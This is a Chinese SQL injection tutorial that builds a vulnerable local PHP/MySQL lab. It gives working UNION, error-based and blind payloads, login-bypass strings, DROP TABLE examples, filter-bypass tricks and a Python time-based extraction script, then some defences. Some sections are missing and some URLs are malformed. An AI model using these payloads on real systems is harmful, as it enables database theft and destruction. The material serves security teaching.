一个登录框,一个单引号,后台就没了。这是我早年做授权渗透测试时印象最深的一次经历。对方是个老系统,登录接口直接拼接SQL,我在用户名框里敲了个',页面就甩出了数据库报错。当时整个人是愣住的,不是因为惊讶,是因为没想到现在还能遇到这么“教科书级”的漏洞。后来我把这个案例写进了复盘报告,也成了团队带新人时必讲的第一课。
SQL注入在OWASP Top 10里常年霸榜,本质上是“把用户输入当成代码执行”的典型。不管你是做开发的、搞安全的,还是刚入行想挖漏洞赚赏金的,这玩意儿都必须吃透。这篇文章是SQL注入系列的第一期,我会从原理讲起,把常见注入类型逐个拆开,再用本地靶场完整复现一遍攻击流程,最后把防御方案和排查技巧一并给到。文字尽量直白,能直接上手。
1. 先搞明白:SQL注入到底是怎么发生的
1.1 从一行“拼接SQL”开始
SQL注入的产生条件,一句话就能说清——程序把用户输入直接拼进了SQL语句,并且当作SQL代码来执行。
看一段典型的PHP代码就能秒懂:
<?php $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = " . $id; $result = mysqli_query($conn, $sql); ?>开发者本意是让用户传入id=1查询某个用户,所以正常SQL是:
SELECT * FROM users WHERE id = 1但如果用户传入的是1 OR 1=1,拼接后的SQL就变成了:
SELECT * FROM users WHERE id = 1 OR 1=1因为1=1恒为真,所以查询会把整张表的数据全部返回。这还只是最简单的例子。如果输入的是1 UNION SELECT username, password FROM users,那就能直接拖库;如果输入的是1; DROP TABLE users这类堆叠语句,后果更严重。
你把这个过程理解成“门禁卡系统”:门禁本来应该把卡片上的信息当作编号去查授权表,结果系统却把你写在卡片上的“值班指令”直接念出来了。那这张卡就不再是一张卡,而是一把万能钥匙。
1.2 为什么数据库会乖乖执行“非法指令”
很多人第一次接触SQL注入都会问一个问题:数据库怎么分得清哪些是程序写的、哪些是用户输的?它分不清。数据库执行的只有一条最终拼接好的SQL字符串,它不知道哪个部分是“原计划”,哪个部分是“混进来的”。
问题的根源在于数据与代码没有分离。开发者的原意是把用户的输入当作“数据”处理,但因为字符串拼接这种粗糙的方式,用户的输入拥有了“代码”的身份。数据库拿到的是已经混合好的SQL文本,只能照单全收。
再从请求链路看一遍,你就清楚漏洞出在哪一层了:
- 用户在浏览器输入参数,发出HTTP请求
- 服务端脚本(PHP、Java、Python等)接收参数
- 脚本直接字符串拼接,生成SQL语句
- 数据库执行SQL并返回结果
- 脚本把结果渲染到页面
在第二步到第三步之间,如果存在任何“输入被当成了代码”的情况,SQL注入就发生了。这也是为什么修复SQL注入的核心思路一直围绕“参数化查询”展开——本质上就是强制让数据库把用户输入当作纯数据,而不是SQL的一部分。
1.3 注入类型总览
SQL注入形态很多,但大类上可以这样分:
| 分类维度 | 类型 | 典型特征 |
|---|---|---|
| 按数据传递方式 | 数字型 / 字符型 / 搜索型 | 是否需要闭合引号、是否带百分号 |
| 按页面反馈 | 回显注入 / 报错注入 / 盲注 | 结果是否直接显示、报错信息是否可见、页面有无状态差异 |
| 按语句执行方式 | 联合注入 / 堆叠注入 / 布尔盲注 / 时间盲注 | 能否拼UNION、能否执行多条语句 |
| 按注入位置 | GET注入 / POST注入 / Cookie注入 / 请求头注入 | 参数出现在哪里 |
这篇文章重点讲联合注入、报错注入、布尔盲注、时间盲注、堆叠注入这几种,它们在实战中出现频率最高。了解了它们,后面遇到花式变种,思路都是相通的。
2. 注入类型逐个拆:从最简单到最隐蔽
2.1 数字型与字符型:先分清注入点的“脾气”
拿到一个注入点,第一件事不是急着爆数据,而是先搞清楚它是数字型还是字符型。
数字型注入的特征是参数不带引号,直接拼在SQL里。比如:
SELECT * FROM news WHERE id = 1测试方法是输入1 AND 1=1和1 AND 1=2:
SELECT * FROM news WHERE id = 1 AND 1=1 -- 正常返回 SELECT * FROM news WHERE id = 1 AND 1=2 -- 返回空或报错两次结果有差异,说明参数确实被当成了数字去参与运算,这就是数字型注入。
字符型注入的特征是参数被引号包裹:
SELECT * FROM users WHERE name = 'admin'测试方法和数字型略有不同,核心是闭合引号:
SELECT * FROM users WHERE name = 'admin' AND '1'='1' SELECT * FROM users WHERE name = 'admin' AND '1'='2'第一次查询如果正常返回,第二次返回空,说明你输入的单引号成功把SQL的引号“闭合”了,后面的内容已经不受原SQL结构约束。
我见过很多新手栽在字符型判断上:在参数后面直接加AND 1=1发现没反应,就断定没注入。其实不是没注入,是你没闭合引号,导致SQL语法本身就错了。记住一句话:字符型注入先闭合,再构造条件。闭合方式通常是单引号',有时候要结合注释符#或--把后面的SQL尾巴注释掉。
2.2 联合注入:信息收集三板斧
联合注入(UNION Injection)是效率最高、页面反馈最直接的注入方式。核心思路是利用UNION关键字把原查询和自定义查询合并,让后者的结果直接显示在页面上。
先看绕过步骤:
第一步:判断字段数
用ORDER BY探测原查询有几个字段:
SELECT * FROM news WHERE id = 1 ORDER BY 3 -- 正常返回说明至少有3个字段 SELECT * FROM news WHERE id = 1 ORDER BY 4 -- 报错说明字段数是3字段数不对,UNION拼接就会报错。这里注意,ORDER BY是拿字段序号去探测,探测成功就说明字段数量 ≥ 该数字。
第二步:确定显示位
拿到字段数后,用UNION SELECT 1,2,3确定页面上哪些位置会回显数据:
SELECT * FROM news WHERE id = 1 AND 1=2 UNION SELECT 1,2,3把id条件改成不成立,是为了让原查询返回空,这样页面只显示UNION的结果,方便观察回显位置。如果页面出现了1、2、3,说明这些位置都能把查询结果展示出来。
第三步:拖数据
假设第2、3位有回显,就可以直接拿数据库信息:
SELECT * FROM news WHERE id = 1 AND 1=2 UNION SELECT 1,database(),version()database()返回当前数据库名,version()返回数据库版本。知道库名后,接着查表名:
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()查字段名:
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'最后拖数据:
UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users这里0x3a是冒号的十六进制表示,用来分隔多个字段的取值,方便阅读。
联合注入的核心约束就两条:UNION前后的字段数必须一致,对应位置能显示数据。只要你把这两个前提搞清楚了,整个流程就像流水线一样顺畅。
2.3 报错注入:不显数据也能拿结果
有些页面做了防护,不直接回显查询结果,但会把数据库报错信息打印在页面上。这种场景下,报错注入就派上用场了。
报错注入的原理是利用数据库函数在报错时把参数内容带出来。MySQL常用的两个函数是updatexml和extractvalue。
extractvalue的用法:
SELECT * FROM users WHERE id = 1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))extractvalue(1, '字符串')第二个参数要求是合法的XPATH路径,如果传入不合法路径,MySQL会报错并把路径内容显示出来。concat(0x7e, (SELECT database()), 0x7e)是把查询结果和波浪号拼接成一个“不合法路径”,触发报错的同时把数据带出来。0x7e是波浪号~,这样报错信息里就能清楚地看到数据起点和终点。
updatexml的用法类似:
SELECT * FROM users WHERE id = 1 AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)报错注入在实战中非常实用,因为很多系统虽然做了参数化查询(对UNION这类语句免疫),但错误处理做得粗糙,直接把数据库报错抛给了前端。这种情况下,报错注入往往能找到突破口。
不过要注意:报错注入一次只能回显一小段数据,想拿长字段值必须配合substr逐段截取:
AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 20)))每次截取20个字符,多跑几次就能拿完整。
2.4 盲注:页面不报错时怎么猜数据
盲注是“看不见”的注入。页面不显示数据、不报错,只有“正常”和“异常”两个状态,信息全靠一点一点猜出来。盲注分两种:布尔盲注和时间盲注。
布尔盲注利用页面返回内容的差异判断条件真假:
SELECT * FROM users WHERE id = 1 AND ascii(substr(database(), 1, 1)) > 100substr(database(), 1, 1)取当前数据库名的第一个字符,ascii()把它转成ASCII码,然后和100比较。如果页面正常返回,说明条件为真,数据库名的第一个字符的ASCII码大于100;如果页面异常,说明条件为假。逐个字符比较下去,就能把整个数据库名拼出来。
时间盲注用于页面返回完全一致的情况,利用延时函数判断:
SELECT * FROM users WHERE id = 1 AND if(ascii(substr(database(), 1, 1)) > 100, sleep(3), 0)如果页面加载了3秒左右才返回,说明条件为真;如果立即返回,说明条件为假。
盲注的效率比联合注入低得多,纯手工猜一个表名可能要发几十次请求。所以实战中盲注基本都配合脚本工具,或者直接用sqlmap跑。手写脚本的姿势我下面会专门讲。
2.5 堆叠注入:一条语句干两件事
堆叠注入(Stacked Injection)用分号分隔多条SQL语句,让一次请求执行多个操作:
SELECT * FROM users WHERE id = 1; DROP TABLE test; --如果目标支持堆叠查询,输入可以变成多条独立语句,危害比普通注入大得多。但堆叠注入在实际场景中并不多见,因为很多数据库驱动和中间件默认不允许在一条语句中执行多条SQL。我在实际测试中遇到的大多数目标,堆叠注入都不成立。
判断是否支持堆叠注入的方法很简单:在注入点后面加一条不会报错的独立语句,比如; SELECT 1,如果页面没有语法错误,大概率是支持堆叠的。但要小心,有些系统会吞掉分号后面的内容,这并不代表支持堆叠,需要结合报错与否综合判断。
3. 实战复现:本地靶场从零打一遍
3.1 搭建最简靶场:PHP + MySQL 手写一个
找一个公开靶场练手当然可以,但自己动手写一个更小的靶场,好处是你对每一行代码、每一个参数都了如指掌,排查问题也方便。
准备环境:PHP 7.x + MySQL 5.7 或 8.x,用phpStudy或者Docker都行。我习惯用Docker快速起一个:
docker run --name sqli-lab \ -e MYSQL_ROOT_PASSWORD=root \ -e MYSQL_DATABASE=test \ -d mysql:5.7然后写一个极简的PHP入口文件index.php:
<?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test"); mysqli_set_charset($conn, "utf8"); $id = $_GET['id']; $sql = "SELECT id, title, content FROM news WHERE id = " . $id; $result = mysqli_query($conn, $sql); echo "执行的SQL: " . $sql . "<br><br>"; while ($row = mysqli_fetch_assoc($result)) { echo "ID: " . $row['id'] . "<br>"; echo "标题: " . $row['title'] . "<br>"; echo "内容: " . $row['content'] . "<br><hr>"; } ?>建一张新闻表并插入数据:
USE test; CREATE TABLE news ( id INT PRIMARY KEY, title VARCHAR(100), content TEXT ); INSERT INTO news VALUES (1, '新闻一', '这是第一条新闻的内容'); INSERT INTO news VALUES (2, '新闻二', '这是第二条新闻的内容'); CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50) ); INSERT INTO users VALUES (1, 'admin', 'admin888'); INSERT INTO users VALUES (2, 'test', 'test123');这段代码故意用字符串拼接的方式处理参数,是标准的漏洞写法。浏览器访问index.php?id=1能看到正常数据,接着就可以开测了。
3.2 判断注入点:单引号、and 1=1、and 1=2
判断注入点有一套固定的试探流程,我从实际操作角度一步步说。
第一步:加单引号
访问index.php?id=1',如果页面报SQL语法错误,说明参数被拼进了SQL语句且没有经过任何过滤。这是最直接的信号。如果不报错,也要继续试探,因为有些系统会把错误吞掉,改成统一的错误页。
第二步:逻辑判断
访问index.php?id=1 AND 1=1,页面正常显示;再访问index.php?id=1 AND 1=2,页面无数据。两句话一对比,基本可以确定是数字型注入。
如果是字符型注入,比如代码写成了WHERE name = '$name',测试方式就换成:
?name=admin' AND '1'='1 ?name=admin' AND '1'='2这里单引号把SQL里的引号闭合掉,后面的内容就是我们可以控制的逻辑了。
第三步:确认字段数
用ORDER BY探测:
?index.php?id=1 ORDER BY 3 ?index.php?id=1 ORDER BY 4第一个正常、第二个报错,说明原查询是3个字段。
整个过程我用一张表整理一下:
| 测试请求 | 预期反馈 | 说明 |
|---|---|---|
?id=1 | 正常显示 | 基线数据 |
?id=1' | 报语法错误 | 参数进入SQL,未过滤 |
?id=1 AND 1=1 | 正常显示 | 条件为真 |
?id=1 AND 1=2 | 无数据 | 条件为假,说明注入成立 |
?id=1 ORDER BY 3 | 正常显示 | 字段数≥3 |
?id=1 ORDER BY 4 | 报错 | 字段数为3 |
这套流程跑下来,你对这个注入点的类型、位置、字段数量心里就有数了。
3.3 联合注入完整流程:从数据库名到账号密码
下面以联合注入为例,完整复现一次从库名到账号密码的拖库过程。
获取数据库名和版本号
访问:
?index.php?id=1 AND 1=2 UNION SELECT 1,database(),version()页面第一行是执行的SQL语句,后面如果显示出了test和5.7.x,说明第2、3个位置有回显,数据库叫test。
获取所有表名
?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()group_concat会把所有表名用逗号拼接成一行,方便查看。页面上应该能看到news,users。
获取users表的字段名
?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'正常会看到id,username,password。这里用table_name='users'做条件时注意单引号,在URL里不需要额外编码,直接传就行。
拖数据
?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users0x3a是冒号,页面会显示类似admin:admin888,test:test123的结果。
这一套流程走完,数据库的基本信息已经全部暴露了。整个过程只用了几十个请求,全部手动完成。
3.4 万能密码绕过的原理演示
万能密码是SQL注入在登录场景下的经典应用。假设登录代码是这样写的:
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";在用户名框输入admin'#,密码随便填,拼出来的SQL变成了:
SELECT * FROM users WHERE username = 'admin'#' AND password = '任意内容'#在MySQL中是注释符,会把后面所有的内容注释掉,所以实际执行的语句是:
SELECT * FROM users WHERE username = 'admin'这样不需要知道密码,只要用户名正确就能登录。更狠的可以输入' OR 1=1#:
SELECT * FROM users WHERE username = '' OR 1=1#'1=1恒为真,加上注释符把后面的密码判断去掉,整个表的第一条记录就成了你的登录身份。如果users表第一条是管理员账号,那你就是管理员。
万能密码之所以“万能”,核心就是两个动作:闭合前引号+注释掉后引号及后续条件。注释符在MySQL里#和--都能用,但后者后面必须跟一个空格,在URL中要写成--+或--%20。#在URL中要编码成%23,否则浏览器会把#当成页面锚点直接截断。
下面几个都是登录框常见的绕过payload:
| 用户名输入 | 拼接后的效果 |
|---|---|
admin'# | 变成查询admin用户,不需要密码 |
' OR 1=1# | 恒真条件,返回第一行用户 |
' OR '1'='1' | 不依赖注释符,利用条件闭合 |
admin' -- | 用--注释掉密码条件 |
页面报错权限被拒绝、返回500或者直接空白,有时候是好事——说明参数确实进了SQL,只是还没找到合适的闭合方式。真正的死路是无论怎么输,页面表现都一模一样,那才需要考虑其他类型的漏洞。
4.2 注释符、空格、引号被过滤怎么办
现实中很少有系统完全不设防。常见的过滤手段是拦关键字,比如union、select、空格、单引号等。遇到这种情况,不是直接放弃,而是先看过滤规则到底拦了什么。
空格被过滤
用/**/或者括号代替空格:
?id=1/**/UNION/**/SELECT/**/1,database(),3MySQL里/* */是注释,但放在SQL关键字中间时不会截断语句,可以起到和空格一样的分隔作用。另外,%09(水平制表符)、%0a(换行)在MySQL里也能充当空白分隔符。
关键字被过滤
大小写混写绕过:
?id=1 AND 1=2 UnIoN SeLeCt 1,database(),3MySQL的关键字不区分大小写,如果过滤规则只拦了全小写的union,构造函数式UnIoN就能绕过。但现在的WAF基本都会做大小写归一化,这招只对老系统有效。
注释符被过滤
有时候#和--都被拦截。这种场景下改用“闭合条件”的方式,不用注释符也能收尾。以字符型注入为例:
?name=admin' AND '1'='1' AND '1'='1这个玩法的思路是:前面构造的'1'='1充当了截止条件,后续原来的SQL引号被我预先闭合,整个语句语法仍然成立。
单引号被过滤
如果你发现参数中的'被转义成了\",也就是后端用了 addslashes 或 magic_quotes 这类转义函数,那说明开发者是有基本防护意识的。这时可以观察是否存在宽字节注入的可能,比如%df%27配合GBK编码,让转义符被“吃”掉。但这个方案依赖数据库字符集,在目前的UTF-8环境下基本失效,知道原理即可,不推荐花太多精力去试。
4.3 盲注脚本提速技巧
手测盲注逐个字符猜太慢了,我的经验是:先用二分法逐字符爆破,再用“多线程批量请求”提速。下面是一个用Python写的时间盲注脚本示例,逻辑很清晰:
import requests import time url = "http://127.0.0.1/index.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789_@.-" def get_database_length(): for i in range(1, 20): payload = "1 AND if(length(database())={}, sleep(2), 0)".format(i) start = time.time() requests.get(url + "?id=" + payload) cost = time.time() - start if cost > 1.5: return i return 0 def get_char(pos): left, right = 32, 126 while left < right: mid = (left + right) // 2 payload = "1 AND if(ascii(substr(database(),{},1))>{}, sleep(1), 0)".format(pos, mid) start = time.time() requests.get(url + "?id=" + payload) cost = time.time() - start if cost > 0.8: left = mid + 1 else: right = mid return chr(left) length = get_database_length() print("数据库长度:", length) name = "" for pos in range(1, length + 1): name += get_char(pos) print("当前进度:", name)脚本的核心逻辑是用sleep(1)作为“真”的标记,用二分法逐步缩小字符的ASCII范围。实际测试中,这类脚本比逐个字符顺序猜测要快得多。把sleep时间调短、加上协程或线程,速度还能翻倍。
写这类脚本时注意两点:一是目标响应时长不稳定时,把判断阈值放宽,比如cost > 0.8而不是cost > 1,防止误判;二是请求频率别太猛,本地靶场无所谓,但如果是在授权测试的线上环境,高频请求很容易触发封禁。
4.4 常见问题速查表
| 现象 | 可能原因 | 处理思路 |
|---|---|---|
| 加单引号无反应 | 参数被过滤、类型不匹配、没闭合成功 | 尝试双引号、尝试URL编码、观察是否整站无区别 |
AND 1=1正常但AND 1=2也正常 | 参数没有进入SQL逻辑 | 确认是否字符型,尝试闭合引号后再测 |
ORDER BY一直不报错 | WAF截断或后端吞错 | 尝试注释符闭合、换布尔差异判断 |
UNION SELECT显示不了数据 | 字段数不对或显示位不在预期位置 | 先用ORDER BY确认字段数,再逐个位置试 |
| 字符型注入构造起来很难 | 引号、反斜杠被转义 | 观察转义规则,尝试编码绕过,或换其他注入点 |
| 时间盲注不稳定 | 网络波动、sleep时间太短、数据库版本差异 | 把sleep调到2-3秒,加重复请求确认 |
| 万能密码登录失败 | 注释符被过滤、SQL语句不是单引号包裹 | 换闭合语法,或改用admin' --等服务端兼容的写法 |
5.3 数据库最小权限原则
很多注入漏洞之所以危害巨大,是因为应用连接的数据库账号权限太高。我看到不少系统,应用连接数据库用的是root账号,一旦被注入,拖库、删除表、写文件全都能做,破坏力瞬间拉满。
正确做法是:每个应用单独建一个数据库账号,只授予该业务必需的权限。比如一个新闻展示系统,只需要SELECT权限;有内容发布的,再加INSERT、UPDATE;实在需要删除功能的,单独用一个管理接口连接高权限账号。这样即使SQL注入被攻破,攻击者能做的也极其有限。
-- 为news系统单独创建账号,仅授予test库的查询权限 CREATE USER 'news_app'@'localhost' IDENTIFIED BY 'StrongPass_2024#'; GRANT SELECT ON test.news TO 'news_app'@'localhost';连接数据库时用news_app而不是root,业务能跑,风险却大幅降低。就算注入成功,SELECT权限只能读当前表,别说information_schema,其他库都摸不着。
5.4 上线前自检清单
最后分享一份我自己总结的SQL注入自检清单,每次发版前对照检查:
- [ ] 所有SQL是否都使用了参数化查询或预编译?
- [ ] 动态表名、动态列名是否做了白名单校验?
- [ ] 数据库连接账号是否遵循最小权限原则?
- [ ] 错误信息是否会被回显到前端?
- [ ] 登录、搜索、排序等所有交互参数是否都覆盖了安全测试?
- [ ] 注入测试payload是否在测试环境完整跑过一遍?
- [ ] 日志中是否记录了SQL执行错误,方便事后排查?
这份清单不复杂,但能覆盖大部分SQL注入风险。我见过太多系统,开发时安全意识满满,上线前赶进度,临时改了几处SQL拼接,结果漏洞就藏在最后那几天改动的代码里。
6. 写在最后:一些实在话
SQL注入这个漏洞,我在授权测试项目中遇到过无数次,从老旧的ASP系统到新开发的Go服务,都有它的影子。它之所以“经典”,是因为它折射出的问题——数据和代码不分、输入不可信、权限过大、错误处理粗糙——在任何时代的开发里都可能出现。
这篇文章把原理、类型和实战流程都过了一遍,文中所有攻击手法都是在本地靶场完成的,请务必只在授权环境中测试。了解攻击是为了更好地防守,这个边界不能模糊。
第一期就先到这里。下一期我打算聊聊SQL注入的自动化绕过思路,包括WAF常见绕过姿势和sqlmap的进阶用法。有什么想看的细节,或者你在复现过程中卡在了哪一步,可以在评论区留言,我看到会尽量回复。